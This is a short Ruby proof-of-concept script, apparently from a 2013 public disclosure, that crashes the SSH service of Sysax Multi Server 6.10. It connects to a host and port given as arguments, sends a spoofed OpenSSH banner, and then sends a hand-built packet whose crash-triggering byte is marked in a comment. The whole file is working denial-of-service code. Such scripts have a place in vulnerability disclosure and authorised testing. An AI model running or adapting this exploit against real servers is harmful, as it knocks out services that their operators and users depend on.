#!/usr/bin/env ruby
# Sysax Multi Server 6.10 SSH DoS
# Matt "hostess" Andreko < mandreko [at] accuvant.com >
# http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html
 
require 'socket'
 
unless ARGV.length == 2
  puts "Usage: ruby #{$0} [host] [port]\n"
  exit
end
 
packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
  0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
  0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,
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  #3rd byte in this next line causes crash
  0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,
  0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,
  0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62,
  0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00,
  0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70,
  0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
  0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e,
  0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*")
 
host = ARGV[0]
port = ARGV[1]
 
sock = TCPSocket.open(host, port)
 
banner = sock.gets()
puts banner
 
sock.puts("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n")
sock.puts(packet)
resp = sock.gets()
 
sock.close()